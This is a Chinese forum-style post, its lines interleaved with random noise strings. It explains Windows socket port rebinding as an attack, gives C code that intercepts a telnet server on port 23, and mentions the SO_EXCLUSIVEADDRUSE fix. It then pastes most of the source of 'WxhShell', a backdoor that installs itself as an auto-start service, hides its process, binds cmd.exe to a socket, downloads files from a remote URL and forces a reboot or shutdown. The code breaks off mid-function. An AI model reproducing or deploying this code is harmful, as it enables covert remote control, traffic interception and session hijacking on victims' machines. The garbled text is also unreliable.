在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
"K)ue@? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
wSPwa,)7s 7;rf$\-& saddr.sin_family = AF_INET;
B;Dl2k^L ~q,Wj!>Ob saddr.sin_addr.s_addr = htonl(INADDR_ANY);
'_fj:dy h anS8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
NK!#K>AO /6@$^paB 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
H"b}lf s`dwE*~ 这意味着什么?意味着可以进行如下的攻击:
9D`p2cO 0\KDa$'1k 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
EC8 Fapy @Wl2E.)K; 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=N^j:t U
UYx-x 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
f?BApm [AN= G!r 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
qA>C<NL ?'/#Gt` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
M{)|9F Dd'4W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
lU8X{SV! N_o|2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
u5I#5 Q&`if
O #include
Vg^,Ky, #include
;=lQMKx0 #include
I4Rd2G_ #include
Wagb|B\ DWORD WINAPI ClientThread(LPVOID lpParam);
t2_pwd*B int main()
B!AJ* {
8;<3Tyjzu WORD wVersionRequested;
"NvB@>S DWORD ret;
g$T%
C? WSADATA wsaData;
HLb`'TC3r+ BOOL val;
zW:r7
P. SOCKADDR_IN saddr;
\H{UJ SOCKADDR_IN scaddr;
$Ma*q EB int err;
KYM%U"j D SOCKET s;
A|<i7QVY SOCKET sc;
/#Lm)-%G int caddsize;
a_(fqoW HANDLE mt;
^X|Bzz) DWORD tid;
bZCNW$C3l wVersionRequested = MAKEWORD( 2, 2 );
ZRn!z`.0 err = WSAStartup( wVersionRequested, &wsaData );
PL*1-t?# if ( err != 0 ) {
9iM[3uyO printf("error!WSAStartup failed!\n");
jpt-5@5O return -1;
u!TMt8+c }
;.I,R NM saddr.sin_family = AF_INET;
lnWscb3t 8c<OX! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
a"!r]=r /c!@ H(^) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
gxCl=\ saddr.sin_port = htons(23);
W.7XShwd*2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
XGSgx {
WKB
K)= printf("error!socket failed!\n");
"7}e~*bM?` return -1;
get$r5 }
H]PEE!C;xC val = TRUE;
4O'%$6KR( //SO_REUSEADDR选项就是可以实现端口重绑定的
fp2uk3Bm[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
WVdF/H {
@XN*H- | printf("error!setsockopt failed!\n");
;t\C!A6 return -1;
# 5b
}
i'MpS //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
V!zU4!@qP //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
m/p:W/0L //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
eD)@:K :$^cY>o if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(
P\oLr9 {
&w{:
qBa ret=GetLastError();
a]t| /Mq printf("error!bind failed!\n");
wvPS0] return -1;
'"]QAj?N }
B
j z@X listen(s,2);
8^5@J)R8 while(1)
m:]60koz]o {
LLd5Z44v caddsize = sizeof(scaddr);
zc&i 4K //接受连接请求
(3QG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
HC>MCwx=r if(sc!=INVALID_SOCKET)
P$Fq62;}r4 {
7"p%c`*; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<>R\lPI2 if(mt==NULL)
uU!}/mbo {
}]+k printf("Thread Creat Failed!\n");
NflRNu:- break;
gn6 @x }
C
o," }
>{.|Ng4K CloseHandle(mt);
Fh~
pB>t }
L%31>)8 closesocket(s);
J9q[u[QZ9O WSACleanup();
n7iIY4gZ return 0;
{ v#wU }
Xo
,U$zE DWORD WINAPI ClientThread(LPVOID lpParam)
^$~&e :{ {
9IJc9Sv( SOCKET ss = (SOCKET)lpParam;
VdF<#(X+ SOCKET sc;
25/M2u? unsigned char buf[4096];
?;ovh nY) SOCKADDR_IN saddr;
4N_iHe5U long num;
g$^I/OK? DWORD val;
B;r` 1
G DWORD ret;
?7\$zn)v# //如果是隐藏端口应用的话,可以在此处加一些判断
*5q_fO //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
bxvpj saddr.sin_family = AF_INET;
>36>{b<'$* saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
?^!:
Lw saddr.sin_port = htons(23);
8w9?n3z=} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p(pL" {
3\H0Nkubts printf("error!socket failed!\n");
OHK]=DH:M return -1;
6&[rATU+ }
F~zrg+VDjL val = 100;
Ag_I' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(T1d!v"~" {
57`9{.HB ret = GetLastError();
]udH`{] return -1;
YV)h"u+@0 }
(laVmU?I7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3AcCa> {
' qN"!\ ret = GetLastError();
v<V9Z
<ub return -1;
Hi#f
Qji }
LseS8F/q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
}<mK79m {
C0[Z>$ printf("error!socket connect failed!\n");
+dJLT}I8M closesocket(sc);
6
u}c543 closesocket(ss);
BiD}C return -1;
&0JCZ/e }
nx|b9W< while(1)
"XWO#,Ue {
MRa
|<yK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
*Fm#Qek //如果是嗅探内容的话,可以再此处进行内容分析和记录
T )"Uq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
eWU@@$9 num = recv(ss,buf,4096,0);
U_
*K%h\m if(num>0)
_aK4[*jnqh send(sc,buf,num,0);
>;Vy{bL8 else if(num==0)
y({ EF~w break;
Y<[jUe`O; num = recv(sc,buf,4096,0);
|$sMzPCxOk if(num>0)
H@V+Q} send(ss,buf,num,0);
oh.8WlI else if(num==0)
#6F/:j; break;
Qcs>BOV~ }
ILMXWw closesocket(ss);
7N}==T89[ closesocket(sc);
[hXnw'Im/ return 0 ;
)=6o, }
K&UTs$_cI $pfN0/`( lWWy|r'il ==========================================================
I9g!#lbl 8 CCA}lOG 下边附上一个代码,,WXhSHELL
dc%0~Nz JQk][3Rv ==========================================================
]hjA,p@Q RinaGeim #include "stdafx.h"
*k<{ nj@y +WB';D #include <stdio.h>
Y^9b>H\2 #include <string.h>
9P\R?~3 #include <windows.h>
K4j2xSGeo #include <winsock2.h>
CyV(+KBe_ #include <winsvc.h>
7) #include <urlmon.h>
ZFa<{J<2 -|YDKcL #pragma comment (lib, "Ws2_32.lib")
mxkv{;ad #pragma comment (lib, "urlmon.lib")
f1TYQ?e CZ}%\2>-v #define MAX_USER 100 // 最大客户端连接数
g"|Z1iy|9 #define BUF_SOCK 200 // sock buffer
6;%Ajx #define KEY_BUFF 255 // 输入 buffer
8bW,.to(?x 9t o2V #define REBOOT 0 // 重启
CT#u+]T #define SHUTDOWN 1 // 关机
K XbD7N. VY_<c 98v #define DEF_PORT 5000 // 监听端口
82A[[^` drW}w+! #define REG_LEN 16 // 注册表键长度
$x|4cW2 #define SVC_LEN 80 // NT服务名长度
CvB)+>oa {+^qm8n // 从dll定义API
m5KAKpCR, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
O
cJ(i#Q~< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
oC >l|?h, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
pjrzoMF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
jgd^{! 2kV{|`1 // wxhshell配置信息
,n\'dMNii struct WSCFG {
y -=YX qj int ws_port; // 监听端口
#F25,:hY char ws_passstr[REG_LEN]; // 口令
y)#=8oci int ws_autoins; // 安装标记, 1=yes 0=no
aW@J]slg char ws_regname[REG_LEN]; // 注册表键名
+-OnO7f char ws_svcname[REG_LEN]; // 服务名
Nx^r&pr char ws_svcdisp[SVC_LEN]; // 服务显示名
BY!M(X
jrZ char ws_svcdesc[SVC_LEN]; // 服务描述信息
M?m)<vMr* char ws_passmsg[SVC_LEN]; // 密码输入提示信息
.C?rToCY int ws_downexe; // 下载执行标记, 1=yes 0=no
9w08)2$Na char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
7@l.ZECJ1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
g*[DyIm Ld$e -dB };
?^3Q5ye a+#Aitd // default Wxhshell configuration
HqKI|^ struct WSCFG wscfg={DEF_PORT,
{Tl |>\[P "xuhuanlingzhe",
j/*4Wj[ 1,
Q=T/hb "Wxhshell",
wTK>U`o "Wxhshell",
{((|IvP` "WxhShell Service",
t?6_^ 08 "Wrsky Windows CmdShell Service",
a?5R;I B "Please Input Your Password: ",
}`*DMI;- 1,
("5Eed "
http://www.wrsky.com/wxhshell.exe",
9&7$oI$!J "Wxhshell.exe"
[r;hF };
J sc`^a%`' -]e@FNL // 消息定义模块
'>0rp\jC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>+E
char *msg_ws_prompt="\n\r? for help\n\r#>";
`6B jNV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
SJ;Kjq.Qo char *msg_ws_ext="\n\rExit.";
;JAb8dyS2 char *msg_ws_end="\n\rQuit.";
})^%>yLfc| char *msg_ws_boot="\n\rReboot...";
6}S1um4 F char *msg_ws_poff="\n\rShutdown...";
+!9&zYu! char *msg_ws_down="\n\rSave to ";
jo^+ vivU4:uH3 char *msg_ws_err="\n\rErr!";
;"j>k>tg char *msg_ws_ok="\n\rOK!";
_7qGo7bpN G$_=rHt_% char ExeFile[MAX_PATH];
6p1)wf.J int nUser = 0;
I@9[ HANDLE handles[MAX_USER];
"5@k\?x" int OsIsNt;
._5"FUg \qB:z7I2 SERVICE_STATUS serviceStatus;
IolKe:'>@ SERVICE_STATUS_HANDLE hServiceStatusHandle;
:HTV 8;yc f{j(H?5 // 函数声明
:jUu_s} int Install(void);
+(qs{07A$ int Uninstall(void);
+PGtO9}B int DownloadFile(char *sURL, SOCKET wsh);
3I%F,-r int Boot(int flag);
,s.{R void HideProc(void);
Weu%&u- int GetOsVer(void);
%}x$YDO int Wxhshell(SOCKET wsl);
=V(|3?N void TalkWithClient(void *cs);
AKkr
)VgY int CmdShell(SOCKET sock);
|ZBHXv int StartFromService(void);
Rd^X. int StartWxhshell(LPSTR lpCmdLine);
_8eN^oc% ZclZD{%8J VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
)/_T`cN VOID WINAPI NTServiceHandler( DWORD fdwControl );
XEvDtDR 0 CFON2I // 数据结构和表定义
vh"> Z4 SERVICE_TABLE_ENTRY DispatchTable[] =
:L'U>)k {
Lkl+f~m {wscfg.ws_svcname, NTServiceMain},
q]r?s%x {NULL, NULL}
byB
ESyV!O };
TU(w>v g9K7_T #W // 自我安装
i<uWLhgh1$ int Install(void)
SB}0u=5 {
rbD}fUg char svExeFile[MAX_PATH];
+M %zOX/ HKEY key;
w,qYT-R strcpy(svExeFile,ExeFile);
k6mC_ Wo[*P\8 // 如果是win9x系统,修改注册表设为自启动
^KO=8m( )J if(!OsIsNt) {
Jkq? wpYp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q@"mL
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:SD^?.W\iT RegCloseKey(key);
7B|
#*IZe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Fy'/8Yv#L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?O!'ZZX RegCloseKey(key);
U#{^29ik=o return 0;
Jx(`.*$ }
vbT,!
cEm }
^:F |2 }
U9ZWSDs else {
X5`#da 9u&q{I // 如果是NT以上系统,安装为系统服务
<!qv$3/7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4_'($FC1 if (schSCManager!=0)
2&Hn%q) {
+o7Np|Ou SC_HANDLE schService = CreateService
5l
ioL) (
map#4\ schSCManager,
WUnmUW[/ wscfg.ws_svcname,
Nt^9N
#+N wscfg.ws_svcdisp,
K9 tuiD+j SERVICE_ALL_ACCESS,
%/r}_V(UN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
(ev(~Wc SERVICE_AUTO_START,
alB[/.1 SERVICE_ERROR_NORMAL,
vsU1Lzna6@ svExeFile,
v2tKk^6`(i NULL,
wf[B -2q) NULL,
8H})Dq%d 7 NULL,
sVjM^y24 NULL,
,b/qcu_|- NULL
O^W.5SaR );
z%cpV{Nu if (schService!=0)
RV2s@<0p {
vUa&9Y CloseServiceHandle(schService);
5`?'}_[Yj CloseServiceHandle(schSCManager);
Hve'Z,X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
i& ,Wg8#R strcat(svExeFile,wscfg.ws_svcname);
+dIO+(&g if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
0s#`H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
P$=BmBq18` RegCloseKey(key);
?%Pd:~4D return 0;
lNw8eT~2 }
D:yj#&I }
/y.+N`_ CloseServiceHandle(schSCManager);
rnV\O L }
SK@%r }
7@@,4_q E l(CMP!mY return 1;
;Uxr+,x~ }
ckWK+ >hcze<^S // 自我卸载
|_7AN!7j int Uninstall(void)
;>z.wol {
x?unE@?\S HKEY key;
5[py{Gq Qq. ht if(!OsIsNt) {
/I>o6 CI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
v[O }~E7' RegDeleteValue(key,wscfg.ws_regname);
k{ru<cf RegCloseKey(key);
F/ODV=J- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
PqOPRf RegDeleteValue(key,wscfg.ws_regname);
4%(\y"T RegCloseKey(key);
[A.ix}3mm return 0;
scsN2#D7U/ }
I!L`W
_ }
l; ._
?H }
T|{1,wP else {
A=z+@b6 TfbB1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"Y>
#=>8 if (schSCManager!=0)
_7#9nJ3| {
1JFCYJy SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/2n-q_ if (schService!=0)
S?M'JoYy {
C " W, if(DeleteService(schService)!=0) {
b,8\i|*!f CloseServiceHandle(schService);
`=zlS"dQ
CloseServiceHandle(schSCManager);
qkEre return 0;
M!9gOAQP }
\.`;p CloseServiceHandle(schService);
Pr%Y!| }
m@z.H ; CloseServiceHandle(schSCManager);
YA:7^-Bv }
%ZajM }
{-T}"WHg7 C`Oc%~UkC return 1;
'>wr_
f }
x2m*0D~ Hj>(kL9H // 从指定url下载文件
W@vt6v int DownloadFile(char *sURL, SOCKET wsh)
/ X
#4 {
O_M2Axm HRESULT hr;
vIL'&~C\y char seps[]= "/";
L>&o_bzp char *token;
Qrnc;H9) char *file;
!Rq.L char myURL[MAX_PATH];
[T(XwA) char myFILE[MAX_PATH];
Y2j>@ 7j
]d{lD strcpy(myURL,sURL);
u?J!3ZEtb token=strtok(myURL,seps);
UcHe"mn
while(token!=NULL)
~^{jfHTlv {
h2b,( file=token;
RWe$ZZSz! token=strtok(NULL,seps);
bK\Mn95] }
R7q\^Yzo A*$JF>`7 GetCurrentDirectory(MAX_PATH,myFILE);
BkP'b{z| strcat(myFILE, "\\");
7O=N78M strcat(myFILE, file);
t==CdCl send(wsh,myFILE,strlen(myFILE),0);
kkyi`_ZKn send(wsh,"...",3,0);
:?2@qWaL hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
?YeUA =[MC if(hr==S_OK)
\-]zXKl2k return 0;
95wi~^^ else
|2$wJ$I return 1;
4dEfXrMf ^n5rUwS> }
MsaD@JY.y /tG0"1{ // 系统电源模块
K~C6dy
int Boot(int flag)
qM$4c7'4P6 {
4
Wb^$i! HANDLE hToken;
7CK3t/3D TOKEN_PRIVILEGES tkp;
2ncD,@ij H n^)Xw
if(OsIsNt) {
z(8:7 G OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
yobcAV` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
pM|m*k tkp.PrivilegeCount = 1;
T4M"s;::1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ccdP}|9e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
SU,#:s( if(flag==REBOOT) {
k%|Sl>{Ir if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
a_GnN\kX^Z return 0;
@L 9C_a }
pL&
Zcpx else {
xy^t_];X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
LA837P return 0;
`X:o]t@ }
} xy>uT }
? ZqvR^ else {
P[G.LO if(flag==REBOOT) {
Asy&X if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"CX@a" return 0;
uZg[PS=@!X }
~l^Q~W-+ else {
mB.j?@Y% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
MXsCm( return 0;
t1Zcr#b> }
~YH'&L.O }
3w>S?"W# kL7n`o return 1;
#Ns]l< }
]UMt 6H #4iMeh // win9x进程隐藏模块
C'wRF90 void HideProc(void)
Sb/`a~q^ {
xa=Lu?t%< a7?)x])e HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
x @a3STKT if ( hKernel != NULL )
]SO-NR {
MyJ\/` 8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Z]QpH<Z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
S.I3m- FreeLibrary(hKernel);
n&n WY+GEo }
j6JK4{ '#oNOU return;
Rs +), }
F%]ZyO9 OxC8xB;` // 获取操作系统版本
)Z=S'm
k4_ int GetOsVer(void)
XHh!Q0v; {
1^HmM"DD OSVERSIONINFO winfo;
!bq3c(d winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Qms,kX GetVersionEx(&winfo);
QMz6syn4u if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
vg"$&YX9" return 1;
Zw`9B else
\se
/2l return 0;
MmbS["A }
Y6Mp[= C9FzTg/c // 客户端句柄模块
vT&)
5nN int Wxhshell(SOCKET wsl)
9'5`0$,|^ {
Cd7imj SOCKET wsh;
8k0f&Cak= struct sockaddr_in client;
0^-1/Ec DWORD myID;
)ZQ>h{}D 0XWhSrHM while(nUser<MAX_USER)
[Nw%fuB {
6/=0RTd int nSize=sizeof(client);
LFskNF0X wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
j`o_Stbg if(wsh==INVALID_SOCKET) return 1;
}ZKG-~ k0(_0o handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?s-Z3{k if(handles[nUser]==0)
/7CV7=^d, closesocket(wsh);
tYk!Y/O} else
t8?$q})RL nUser++;
`Q!#v{ }
[X7KlS9x2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
gy*c$[NS$ {u(( y D return 0;
Q{:=z6& }
WZQ
EBXs 7@NV|Idtd // 关闭 socket
!x$6wzKa void CloseIt(SOCKET wsh)
crbph.0 {
=MjkD)l closesocket(wsh);
W'Y?X]xr nUser--;
c2RQwtN| ExitThread(0);
d2U+%%Tdw }
F.cKg~E|e @QO^3%b8 // 客户端请求句柄
m|]:oT`M void TalkWithClient(void *cs)
V~
q
b2$ {
H{et2J<H |*%i]@V= SOCKET wsh=(SOCKET)cs;
bamQ]>0|>! char pwd[SVC_LEN];
P\ia ?9 char cmd[KEY_BUFF];
,.z?=]'en char chr[1];
+:kMYL3 int i,j;
jY k5]2#A &[7z:`+Y## while (nUser < MAX_USER) {
V.-cm51I Gq]/6igzX if(wscfg.ws_passstr) {
:ggXVwpe if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\k9]c3V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<%N*IE"q //ZeroMemory(pwd,KEY_BUFF);
n/ZX$?tKAK i=0;
h7kn
>q; while(i<SVC_LEN) {
KsSIX HJ_8 `( ' // 设置超时
"SA* fd_set FdRead;
0WSOA[R%[b struct timeval TimeOut;
L _Xbca= FD_ZERO(&FdRead);
nIWY<Z" FD_SET(wsh,&FdRead);
Vtv~jJ{m TimeOut.tv_sec=8;
k![oJ.vHD TimeOut.tv_usec=0;
\OwCZ!`7i int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
s=>^ 8[0O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
"BZL*hHq ENy$sS6[D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
jx#9
pwd
=chr[0]; [4r<WvUaM
if(chr[0]==0xd || chr[0]==0xa) { sV;q(,oru
pwd=0; GmH`ipi
break; 5c0$oyl)M
} 5VSc5*[
i++; rpUTn!*u/
} e^k)756
|pZ:5ta#
// 如果是非法用户,关闭 socket ny}_^3
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :7?n)=Tx
} B:VGa<lx5
=wMq!mBd
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z# %s/TL
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +`7!4gxwK!
E>N [
while(1) { >eWORf>7
PXFu
ZeroMemory(cmd,KEY_BUFF); Vy6~O|68=
^"iJ
// 自动支持客户端 telnet标准 cs 58: G5
j=0; K+|0~/0
while(j<KEY_BUFF) { (QS 0
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r72zWpF!Ss
cmd[j]=chr[0]; b%].D(qBy
if(chr[0]==0xa || chr[0]==0xd) { 7ufTmz#j<
cmd[j]=0; `SA1V),~
break; P2F8[o!<
} _:>t$*
_
j++; n-{.7
} L]q%;u]8!
P8[k1"c!
// 下载文件 \A6}=
if(strstr(cmd,"http://")) { _BoA&Ism
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]:}7-;$V
if(DownloadFile(cmd,wsh)) iD<}r?Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %@8#+#@J0
else C@g/{?\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q|
UO]V
} R5xV_;wD
else { 4|UtE<<b
&\
K
switch(cmd[0]) { }L
@~!=q*
Oq:$GME
// 帮助 h0C>z2iH
case '?': { +R_s(2vz
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _zkTx7H
break; *xN?5u%
} +F~B"a
// 安装 :kC*<f\
case 'i': { !+DhH2;)F
if(Install()) )d>Dcne
send(wsh,msg_ws_err,strlen(msg_ws_err),0); XePGOw))O
else tYG6Gl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8\G"I
break; U,lO{J[T
} +1r><do;
// 卸载 TAq[g|N-;
case 'r': { *;l[|
if(Uninstall()) 7=s7dYlu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -"I9`
else "-\8Y>E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o wwWm1@
break; 5lyHg{iqD
} %~M#3Ywa
// 显示 wxhshell 所在路径 _YN
C}PUU
case 'p': { Y?-Ef
sK
char svExeFile[MAX_PATH]; pb G5y7
strcpy(svExeFile,"\n\r"); j=c< Lo`
strcat(svExeFile,ExeFile); $W9dUR0
send(wsh,svExeFile,strlen(svExeFile),0); Ya-GDB;L
break; Ap 3B'
} Qn.3B
// 重启 }*b\=AS=
case 'b': { 1~E;@eK'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YxGqQO36
if(Boot(REBOOT)) _UY=y^ c0>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4O:HT m
else { _w2KUvG-8
closesocket(wsh); 1kD1$5
ExitThread(0); pktnX-Slt
} N36B*9m&p
break; 79I"F'
} NErvX/qK
// 关机 7`e<H 8g
case 'd': { {R/e1-;
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~S$ex,~
if(Boot(SHUTDOWN)) Ec^2tx"=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ["e;8H[K)%
else { umt`0m. :
closesocket(wsh); ,(]k)ym/
ExitThread(0); "rVM23@
tq
} {1+meE
break; *?VB/yO=0
} ~6+Um_A_L
// 获取shell c:+UC
case 's': { H%Z;Yt8^gt
CmdShell(wsh); -:~z,F
closesocket(wsh); 7PwH&rI
ExitThread(0); Ocz21gl-?`
break; *_]fe&s=%
} $.31<@T7
// 退出 'v=BAY=Ef
case 'x': { ap,zC)[
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kjpsz] ;
CloseIt(wsh); lTVz'ys
break; D_G]WW8
} gZ-:4G|J
// 离开 0.c96&
case 'q': { :&LV^A
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "ZA`Lp;%w
closesocket(wsh); _ q
AT%.
WSACleanup(); ~f( #S*Ic
exit(1); s>[Oe|`
break; =h|7bYLy
} )\kNufP
} ~#)9Kl7<X
} ad9u;uS
=LEzcq>XO
// 提示信息 ;bL?uL
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s.XxYXR\
} ~}SQLYy7Z
} 2/Y e<.#
(cI@#x
return; wM#l`I
} *~w?@,}
JvaHH!>d/
// shell模块句柄 ]mjKF\
int CmdShell(SOCKET sock) .'4@Yp{=
{
A7eYKo
q
STARTUPINFO si; [?(qhp!
ZeroMemory(&si,sizeof(si)); #a'CoJs
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v&7x ~!O
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =vDpm,
PROCESS_INFORMATION ProcessInfo; l{VJaZ $M
char cmdline[]="cmd"; 07:h4beT
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #-{ljjMQI
return 0; G^SDB!/@J
} NE3/>5
'#~Sb8
// 自身启动模式 z6h/C{
int StartFromService(void) ]BTISaL-R
{ u'gsIuRJ
typedef struct 6UuM`eu
{ |uX&T`7?-
DWORD ExitStatus; 4{b/Nv:b
DWORD PebBaseAddress; v+dT7*^@
DWORD AffinityMask; ha9 dz
